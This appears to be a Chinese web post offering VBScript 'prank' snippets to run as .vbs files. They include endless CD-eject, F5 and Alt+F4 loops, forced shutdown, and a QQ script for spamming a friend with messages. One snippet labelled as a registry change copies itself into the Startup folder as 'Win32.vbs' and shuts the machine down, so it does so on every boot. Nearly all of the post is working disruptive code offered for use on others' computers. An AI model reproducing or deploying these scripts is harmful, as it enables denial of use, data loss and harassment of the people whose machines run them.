vbs简单设置命令集
新建文本文件,填入代码,将文本后缀改为 .vbs 即可执行!
无限弹出光驱:
------------------------------------------------
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
------------------------------------------------
无尽语音报数:
无限语音从1数到无限大。
------------------------------------------------
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
无尽刷新:
慎用,如此刷新打开任务管理器都难,只能拔掉电源。
------------------------------------------------
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
------------------------------------------------
修改注册表:
------------------------------------------------
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide
------------------------------------------------
QQ信息骚扰恶搞:
打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("小敏")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
直接关机:
------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
------------------------------------------------
不断按下alt+f4 :
打开任何程序都关掉
------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop
与网页结合
嘻试吧爽噢。。
VBS打开网址
SetobjShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.baidu.com/")